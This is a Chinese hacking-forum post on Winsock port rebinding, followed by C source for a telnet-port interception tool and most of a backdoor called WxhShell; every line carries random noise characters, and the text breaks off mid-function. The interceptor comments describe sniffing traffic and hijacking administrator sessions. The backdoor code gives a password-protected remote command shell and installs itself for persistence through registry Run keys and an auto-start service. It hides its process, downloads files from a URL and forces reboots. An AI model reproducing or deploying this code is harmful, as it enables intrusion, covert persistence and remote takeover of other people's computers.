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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dF<GuS;l5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .Do(iYO.L  
_8I\!  
  saddr.sin_family = AF_INET; +<1MY'>y  
nqMXE82  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6z keWR  
vlS+UFH0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;*}tbh3;.  
P/XCaj3a[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bs9X4n5  
j|Hyv{sM  
  这意味着什么?意味着可以进行如下的攻击: {\62c;.  
|.EC>D /  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "vL,c]D  
[;RO=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) { usv*Cm  
'`nf7b(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a 0+W-#G  
`+0K~k|DC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2{;~Bg d  
mo()l8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |Jpi|'  
!}pvrBS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &A!?:?3%O  
0wnC"2GUX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 # m;|QWW  
i_<GSUTTr/  
  #include dp DPSI  
  #include I:Q3r"1  
  #include wMvAm%}+  
  #include    '}BYMEd/m%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }LTyXo  
  int main() GMW,+  
  { GA+#'R  
  WORD wVersionRequested; *1`q x+1  
  DWORD ret; P?/Mrz   
  WSADATA wsaData; 'D&[Y)f^  
  BOOL val; m4~>n(  
  SOCKADDR_IN saddr; "l[ c/q[  
  SOCKADDR_IN scaddr; i!u:]14>  
  int err; wT@{=s,  
  SOCKET s; .h r$<]  
  SOCKET sc; -a\[`JHi  
  int caddsize; =+ALh-  
  HANDLE mt; Ce`#J6lT  
  DWORD tid;   q)Qg'l^f  
  wVersionRequested = MAKEWORD( 2, 2 ); UR<a7j"@2  
  err = WSAStartup( wVersionRequested, &wsaData ); q>f|1Pf  
  if ( err != 0 ) { ly( LMr  
  printf("error!WSAStartup failed!\n"); =";G&)H-  
  return -1; V_"UiN"o  
  } v4Mn@e_#c  
  saddr.sin_family = AF_INET; nXM[#~  
   Gph:'3 *X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1 WUlBr/k  
pKNrEq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CKy/gTN  
  saddr.sin_port = htons(23); HA`q U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ul^VGW>i  
  { T0v{qQ  
  printf("error!socket failed!\n"); n@_aTY  
  return -1; [5i }C K_=  
  } n7VQi+i'  
  val = TRUE; ,%d?gi"&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U^ ;H{S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JyDg=%-$2  
  { AR3v,eOs  
  printf("error!setsockopt failed!\n"); 4zhg#  
  return -1; jUGk=/*]e  
  } ^{g('BQx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pKkBA r,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `EWQ>m+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  LOi/+;>  
[Z2mH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  RxO !h8  
  { k] iyx  
  ret=GetLastError(); _"h1#E  
  printf("error!bind failed!\n"); t7 +U!  
  return -1; OJT%?P%@{  
  } BI6]{ZC"  
  listen(s,2); ~%!"!Z4  
  while(1) YckLz01jh  
  { "'*Qq@!3?  
  caddsize = sizeof(scaddr); l]~mB~  
  //接受连接请求 %`\=qSf*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0JU+v:J[=  
  if(sc!=INVALID_SOCKET) "U|u-ka8B  
  { H8V@KB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P2 fiK  
  if(mt==NULL) &\e8c g  
  { b^R_8x  
  printf("Thread Creat Failed!\n"); =^mBj?(V7  
  break; ]PQ6 em  
  } l?O%yf`s  
  } guk{3<d:Jy  
  CloseHandle(mt); gt\*9P   
  } bkS-[rW  
  closesocket(s); F*p@hl  
  WSACleanup(); _<u>? Qt  
  return 0; s|D[_N!|  
  }   irF+(&q]jh  
  DWORD WINAPI ClientThread(LPVOID lpParam) k{J\)z  
  { O"9Or3w  
  SOCKET ss = (SOCKET)lpParam; ` M!'PMX  
  SOCKET sc; ?fX`z(Z  
  unsigned char buf[4096]; q$kx/6=k  
  SOCKADDR_IN saddr; kE854Ej  
  long num; PYyT#AcW2  
  DWORD val; mbXW$E-&R2  
  DWORD ret; @umn#*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -cgMf\YF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r<!/!}fE,  
  saddr.sin_family = AF_INET; KZ 4G"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OZ4%6/  
  saddr.sin_port = htons(23); l*b0uF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FJ2~SKWT  
  { Cuc+9  
  printf("error!socket failed!\n"); Y2W{?<99  
  return -1; "0m\y+%8  
  } 9#1Jie$  
  val = 100; iQvqifDmh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <])kO`+G  
  { 0}9  
  ret = GetLastError(); J<MuWgx&  
  return -1; [<.dOe7|  
  } LCMn9I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7ZFd;-  
  { ~ep^S^V+  
  ret = GetLastError(); GpXU&A'r  
  return -1; zKFiCP K  
  } TNlS2b1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <x1,4a~  
  { @5{h+^  
  printf("error!socket connect failed!\n"); p~z\&&0U0  
  closesocket(sc); ggUw4w/e  
  closesocket(ss); : 2A\X' @  
  return -1; H,;9' *84  
  } $?y\3GX  
  while(1) o"g<Vz  
  { USV;j%U4*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \Wb3JQ)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B6U4>ZN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }i52MI1-XP  
  num = recv(ss,buf,4096,0); NW~`oc)NS  
  if(num>0) U /jCM?~  
  send(sc,buf,num,0); !BR@"%hx  
  else if(num==0) B:fulgh2ni  
  break; Thuwme  
  num = recv(sc,buf,4096,0); */j[n$K>~`  
  if(num>0) 3-_`x9u*  
  send(ss,buf,num,0); `FByME  
  else if(num==0) L DdgI  
  break; gP?.io 9Oi  
  } +GT"n$)+  
  closesocket(ss); uXVs<im  
  closesocket(sc); ?-=<7 ~$  
  return 0 ; 8[x{]l[  
  } VujIKc#4  
CPJ%<+4%b  
WB\chb%ej#  
========================================================== _@O.EksY3r  
6f&qtJQ<A  
下边附上一个代码,,WXhSHELL r[3 2'E  
Q\aC:68  
========================================================== 43Ua@KNi  
JxlZ,FF$@  
#include "stdafx.h"  dQI6.$?  
ZX0!BS  
#include <stdio.h> y~<_ux,  
#include <string.h> R!2E`^{Wl  
#include <windows.h> 6o~CX  
#include <winsock2.h> ]EEac  
#include <winsvc.h> Q6d>tqWhq  
#include <urlmon.h> +[Q`I*C  
VTn6@z_ x  
#pragma comment (lib, "Ws2_32.lib") &W N R{  
#pragma comment (lib, "urlmon.lib") EB8<!c ?  
>uJU25)|  
#define MAX_USER   100 // 最大客户端连接数 x n}HB  
#define BUF_SOCK   200 // sock buffer MG4(,"c!  
#define KEY_BUFF   255 // 输入 buffer uk)D2.eS,  
c@{M),C~E  
#define REBOOT     0   // 重启 9Qn*frdY,  
#define SHUTDOWN   1   // 关机 }XfRKGQw  
/}=cv>S5V  
#define DEF_PORT   5000 // 监听端口 ]%[.>mR  
L4{+@T1A[  
#define REG_LEN     16   // 注册表键长度 *zWf8X  
#define SVC_LEN     80   // NT服务名长度 r_3=+  
LR y&/d  
// 从dll定义API Hf9F:yH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o_PQ]1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); La\|Bwx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A<{&?_U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w>&g'  
d2*uY.,  
// wxhshell配置信息 e# KP3Lp  
struct WSCFG { W" 1=K] B  
  int ws_port;         // 监听端口 [+b&)jN*2  
  char ws_passstr[REG_LEN]; // 口令 "@rXN"4  
  int ws_autoins;       // 安装标记, 1=yes 0=no JvM:xy9  
  char ws_regname[REG_LEN]; // 注册表键名 VP:9&?>G  
  char ws_svcname[REG_LEN]; // 服务名 EN)0b,ax  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C^ Oy.s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t#=FFQOt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -{eI6#z|\A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3=IY0Q>/(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V)cL=4G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wE#z)2?`\  
sF p% T4j  
}; hmJa1fw=  
^q/_D%]C  
// default Wxhshell configuration YbuS[l8  
struct WSCFG wscfg={DEF_PORT, ;%PI  
    "xuhuanlingzhe", P]`m5 N  
    1, Cm#[$T@C  
    "Wxhshell", w~WW2 w  
    "Wxhshell", LRv[,]b  
            "WxhShell Service", ?Z"<&tsZ  
    "Wrsky Windows CmdShell Service", %Su,  
    "Please Input Your Password: ", WS 1#i\0  
  1, zN,2 (v"  
  "http://www.wrsky.com/wxhshell.exe", ^MUvd  
  "Wxhshell.exe" l6< bV#_qe  
    }; }Bn`0;]  
Wh1'?#  
// 消息定义模块 EGK7)O'W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WXCZ }l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 48n7<M;I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vi<F@ji  
char *msg_ws_ext="\n\rExit."; N_f>5uv  
char *msg_ws_end="\n\rQuit."; br4 %(w(d  
char *msg_ws_boot="\n\rReboot..."; v42Z&PO   
char *msg_ws_poff="\n\rShutdown..."; 0R}F( tjw  
char *msg_ws_down="\n\rSave to "; e2L4E8ST<  
rjL4t^rT  
char *msg_ws_err="\n\rErr!"; aYcc2N%C  
char *msg_ws_ok="\n\rOK!"; wZKEUJpQ  
@;h$!w<  
char ExeFile[MAX_PATH]; B"2#}HM  
int nUser = 0; Bngvm9k3  
HANDLE handles[MAX_USER]; }TwSSF|}3  
int OsIsNt; TV*@h2C"i  
4'`y5E  
SERVICE_STATUS       serviceStatus; jQ9i<-zc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZA'Qw2fF0  
)G@/E^ySM  
// 函数声明 qt4^e7o  
int Install(void); 7r wNjY#  
int Uninstall(void); eWTbHF  
int DownloadFile(char *sURL, SOCKET wsh); dn:/8~B"X  
int Boot(int flag); {V5eHn9/Q'  
void HideProc(void); Q(h/C!rKe  
int GetOsVer(void); D~7L~Q]xI  
int Wxhshell(SOCKET wsl); |J^$3RX  
void TalkWithClient(void *cs); +l(lpp>,  
int CmdShell(SOCKET sock); @]X5g8h  
int StartFromService(void); _q3|Ddm2LN  
int StartWxhshell(LPSTR lpCmdLine); pX]"^f1?O  
zoHFTD4 g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8 ;o*c6+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tzdh3\6F  
~<q^4w.=7C  
// 数据结构和表定义 "D?:8!\!  
SERVICE_TABLE_ENTRY DispatchTable[] = kyu PN<?  
{ 6;#Rd|  
{wscfg.ws_svcname, NTServiceMain}, c,_??8  
{NULL, NULL} )_\q)t"=  
}; gkL{]*9&%  
zb& 3{,  
// 自我安装 +'!Y[7|9iv  
int Install(void) ^>m"j6`h,  
{ xBg. QV  
  char svExeFile[MAX_PATH]; G2 !J`}  
  HKEY key; ysFp`  
  strcpy(svExeFile,ExeFile); gMUCVKGf  
QBL|n+  
// 如果是win9x系统,修改注册表设为自启动 jC_m0Iwc  
if(!OsIsNt) { DBk]2W|i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m+9~f_}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n5;>e&  
  RegCloseKey(key); g0>Q* x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mk]8}+^.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \TnRn(Kw  
  RegCloseKey(key); vnD `+y  
  return 0; h #(J6ht  
    } OO*2>Qy~z  
  } @tg4rl  
} k`h#.B J  
else { -SN6&-#c_  
c[X:vDUX  
// 如果是NT以上系统,安装为系统服务 z` (">J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W?X3 :1c9:  
if (schSCManager!=0) eH^~r{{R  
{ #9CLIYJAd  
  SC_HANDLE schService = CreateService u?I2|}#  
  ( /[+%<5s  
  schSCManager, @23~)uiZa  
  wscfg.ws_svcname, _BHEK  
  wscfg.ws_svcdisp, +~f=L- >  
  SERVICE_ALL_ACCESS, xASH- 9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (Fs{~4T  
  SERVICE_AUTO_START, (0u(<qA\  
  SERVICE_ERROR_NORMAL, jj6yf.r6c  
  svExeFile, 7mtX/w9  
  NULL, ED^0t  
  NULL, VCQo3k5 {  
  NULL, _(F8}s  
  NULL, BV=~ !tsl  
  NULL qrufnu5cC  
  ); 52t6_!y+V  
  if (schService!=0) cV:Ak~PKl  
  { Kjt\A]R%  
  CloseServiceHandle(schService); hO; XJyv  
  CloseServiceHandle(schSCManager); #eIFRNRb)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vW4n>h}]  
  strcat(svExeFile,wscfg.ws_svcname); OTzuOP 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "NtY[sT{V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -{A*`.[v  
  RegCloseKey(key); 58P[EMhL  
  return 0; 8\Bb7*  
    } bXk(wXX  
  } ' r/xBj[Z  
  CloseServiceHandle(schSCManager); W_lXY Z<  
} Go(Td++HS  
} %"^8$A?>,k  
GQ2/3kt  
return 1; xSq{pxX  
} Vrs?VA`v$  
G_<4% HM  
// 自我卸载 MI)v@_1d  
int Uninstall(void) `IT]ZAem`/  
{ (dTQ,0  
  HKEY key; m UUNR,  
bE?X?[K  
if(!OsIsNt) { }:57Ym)7w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &%m%b5  
  RegDeleteValue(key,wscfg.ws_regname); yxAy1P;dX  
  RegCloseKey(key); Bk[C=<X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?AK`M #M  
  RegDeleteValue(key,wscfg.ws_regname); sLUOs]cj  
  RegCloseKey(key); LVT:oIQ  
  return 0; 1!NrndJI  
  } "SRS{-p0  
} gloJ;dE B  
} ]kd:p*U6P  
else { -e"A)Bpl(  
GSW%~9WBa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nc6PSj X  
if (schSCManager!=0) k-^le|n9  
{ M.+h3<%^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4w)>}  
  if (schService!=0) {@6:kkd  
  { S=\cF,Zs  
  if(DeleteService(schService)!=0) { t YxN^VqU  
  CloseServiceHandle(schService); fUr%@&~l^  
  CloseServiceHandle(schSCManager); @)U;hk)j;  
  return 0; W^)mz,%x  
  } RLZfXXMn  
  CloseServiceHandle(schService); ^`k;~4'd  
  } ]|tR8`DGZ%  
  CloseServiceHandle(schSCManager); m'QG{f  
} ja9=b?]0,  
} ln+.=U6Tm  
2vh }:A_  
return 1; 8i5S }  
} Lq;T\m_de  
g9fYt&  
// 从指定url下载文件 DQ30\b"gU  
int DownloadFile(char *sURL, SOCKET wsh) bv VkN  
{ {2YqEX-I*  
  HRESULT hr; %P D}VF/Y  
char seps[]= "/"; }xBDyr63  
char *token; |L`U2.hb  
char *file; 0N~kq-6.\  
char myURL[MAX_PATH]; 6 Ia HaV+P  
char myFILE[MAX_PATH]; '&e8;X  
_VVq&t}  
strcpy(myURL,sURL); DP0@x+`k  
  token=strtok(myURL,seps); L""ZI5J{F9  
  while(token!=NULL) mt$rjk=  
  { PpKjjA<  
    file=token; kJpO0k9?eY  
  token=strtok(NULL,seps); GcDA0%i  
  } kDDC@A $  
2Z%n "z68  
GetCurrentDirectory(MAX_PATH,myFILE); g$^-WmX\m  
strcat(myFILE, "\\"); 1ANFhl(l  
strcat(myFILE, file); "T{WOGU+  
  send(wsh,myFILE,strlen(myFILE),0); fge h;cD  
send(wsh,"...",3,0); tjt^R$[@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Le:C8^  
  if(hr==S_OK) #-@Uq6Y  
return 0; w7.,ch  
else R~T}  
return 1; f}"eN/T  
n1{[CCee@  
} 5!fOc]]Ow  
sv?Fx;d  
// 系统电源模块 l cHf\~  
int Boot(int flag) kl]MP}wc  
{ sYBmL]Hr  
  HANDLE hToken; |=*)a2  
  TOKEN_PRIVILEGES tkp; {0w2K82  
"3\y~<8%'  
  if(OsIsNt) { r dSL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NLY=o@<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2H}y1bkW  
    tkp.PrivilegeCount = 1; IycZ\^5*-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E& i (T2c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ` PQQU~^  
if(flag==REBOOT) { tp}/>gU!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'E9{qPLk(  
  return 0; E`I(x&_  
} 3a.!9R>  
else { ~qj(&[U{c\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T>'O[=UWh  
  return 0; Y&j`HO8f  
} R%RxF=@  
  } mf$YsvPq*+  
  else { #p@GhI!6  
if(flag==REBOOT) { ~Ym _ {  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {%G9iOV.  
  return 0; XDJE]2^52?  
} pT->qQ3;  
else { EN\cwa#FU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pQBn8H|Y  
  return 0; t&?{+?p: 9  
} &{.IUg  
} K~vJ/9"|R  
x C&IR*  
return 1; %S;AM\o4  
} Hvm}@3F|  
o& FOp'  
// win9x进程隐藏模块 > v%.q]E6n  
void HideProc(void) u_$4xNmQ  
{ ?-<lIF Fh  
Pgr2 S I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?'6@m86d  
  if ( hKernel != NULL ) xyL)'C  
  { )1 T2u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8C@u+tx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JkJ @bh Eu  
    FreeLibrary(hKernel); 5OI.Ka  
  }  C7ivA h  
?I6rW JcQ6  
return; \,G9'c 'u  
} y|ZL< L  
9y*] {IY  
// 获取操作系统版本 uKP4ur@1  
int GetOsVer(void) ; zJb("n  
{ '_G\_h}5  
  OSVERSIONINFO winfo; V'j+)!w5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tJ6@Ot  
  GetVersionEx(&winfo); ZX:rqc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r)5xS]  
  return 1; &|Duc} t  
  else :E.a.-  
  return 0; losqc *|  
} $o?U=  
eZPeyYX  
// 客户端句柄模块 tRdf:F\X  
int Wxhshell(SOCKET wsl) :>fT=$i@  
{ B[@q.n  
  SOCKET wsh; %, psUOY  
  struct sockaddr_in client; VhkM{O  
  DWORD myID; !#)t<9]fv  
Qjfgxy]  
  while(nUser<MAX_USER) l e'RU1k  
{ 2xLtJR4L  
  int nSize=sizeof(client); GM%OO)dO}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _U^[h!  
  if(wsh==INVALID_SOCKET) return 1; GJ*IH9YR  
}pMVl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @-)?uYw:r  
if(handles[nUser]==0) @.W;3|~qc  
  closesocket(wsh); DU%E883  
else fmz"Zg 9=  
  nUser++; AabQ)23R2  
  } $yASWz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Czjb.c:a.Y  
ez'NHodwk2  
  return 0; "#O9ij  
} d-~V.  
uB  I/3aQ  
// 关闭 socket S1|u@d'  
void CloseIt(SOCKET wsh) .]vb\NBK7  
{ u8zL[] >  
closesocket(wsh); Uqel UL}  
nUser--; 3<^Up1CaZ  
ExitThread(0); A2 + %  
} vkE`T5??  
hU$o^ICH  
// 客户端请求句柄 RTc@`m3 M  
void TalkWithClient(void *cs)  =1Sny7G  
{ dun`/QKV  
dC({B3#e{  
  SOCKET wsh=(SOCKET)cs; zIrOMh  
  char pwd[SVC_LEN]; xT+_JT65  
  char cmd[KEY_BUFF]; 0 %~~IT}U  
char chr[1]; . }\8Y=  
int i,j;  +|LM"  
%/Wk+r9uu  
  while (nUser < MAX_USER) { D -tRy~}  
\\dUp>1=  
if(wscfg.ws_passstr) { UDG1F_&h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3xy2ZYw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KmNnW1T  
  //ZeroMemory(pwd,KEY_BUFF); `> %QCc\  
      i=0; ^K<3_D>1>  
  while(i<SVC_LEN) { h <4`|Bg+  
RzqgN*]lY  
  // 设置超时 %nZ:)J>kz  
  fd_set FdRead; E]mm^i`|  
  struct timeval TimeOut; o.ZR5`.  
  FD_ZERO(&FdRead); <Z%=lwtX  
  FD_SET(wsh,&FdRead); *tUOTA 3L  
  TimeOut.tv_sec=8; nFQuoU]ux  
  TimeOut.tv_usec=0; ~lo43$)^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X84T F~2Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2=_$&oT**  
%V>%AP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -0^]:  
  pwd=chr[0]; relt7sK  
  if(chr[0]==0xd || chr[0]==0xa) { )h}IZSm  
  pwd=0; i#la'ICwJ  
  break; WutPy_L<  
  } 1Vu#:6%  
  i++; a?-&O$UHf\  
    } hoq2zDjD  
P P J^;s  
  // 如果是非法用户,关闭 socket w-n}&f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vaB ql(?'2  
} !5} }mf  
Rge>20uTl$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &3t973=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "J"=<_?  
?h[HC"V/2  
while(1) { p}QDX*/sSu  
q\@Zf}  
  ZeroMemory(cmd,KEY_BUFF); e{E\YEc  
\E?3nQM  
      // 自动支持客户端 telnet标准   ;z4J)qw  
  j=0; 6.)ug7aF  
  while(j<KEY_BUFF) { (p5q MP]L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  @/s|<*  
  cmd[j]=chr[0]; , '0#q  
  if(chr[0]==0xa || chr[0]==0xd) { 0#WN2f, <:  
  cmd[j]=0; c-k3<|H`  
  break; 67(s\  
  } xqX3uq  
  j++; 8JY0]G6  
    } 9qftMDLZJ\  
WK6,K92  
  // 下载文件 F-s{#V1=  
  if(strstr(cmd,"http://")) { Dz0D ^(;V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @*y4uI6&  
  if(DownloadFile(cmd,wsh)) BzfR8mD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ':(AiD-}  
  else ],weqs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `^[k8Z(  
  } RvAgv[8  
  else { O]tR~a  
9K@ I  
    switch(cmd[0]) { gL_1~"3KGC  
  &<;T$Y  
  // 帮助 Odo)h  
  case '?': { J!l/.:`6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x[58C+  
    break; n0lOq  
  } )7& -DI1  
  // 安装 &{? M} 2I  
  case 'i': { '6M6e(  
    if(Install()) %4LoEm=U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /F;2wT;  
    else TX=894{nGh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VFf;|PHS  
    break; !An?<Sv$  
    } HF*0  
  // 卸载 A M[f  
  case 'r': { \1Y|$:T/  
    if(Uninstall()) h}a}HabA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @/ ^< 9  
    else 59zWB,y(P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W^8  
    break; >UCg3uFj  
    } q~}oU5  
  // 显示 wxhshell 所在路径 P*!`AWn  
  case 'p': { $_F_%m"\  
    char svExeFile[MAX_PATH]; >1`4]%  
    strcpy(svExeFile,"\n\r"); _O}m0c   
      strcat(svExeFile,ExeFile); b\0>uU  
        send(wsh,svExeFile,strlen(svExeFile),0); (e'8>Pv  
    break; mI7lv;oN<5  
    } d'96$e o~  
  // 重启 #HgN wM  
  case 'b': { )l`Ks  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l+6c|([  
    if(Boot(REBOOT)) q7lC}'2fu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6m$X7;x}  
    else { ?7Cm+J  
    closesocket(wsh); 9HJYrzf{%  
    ExitThread(0); 8vuTF*{yZ  
    } 4"@;.C""  
    break; H/{@eaV  
    } ?L0;, \-t  
  // 关机 iQ" LIeD  
  case 'd': { }OEL] 5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cdz?+hb  
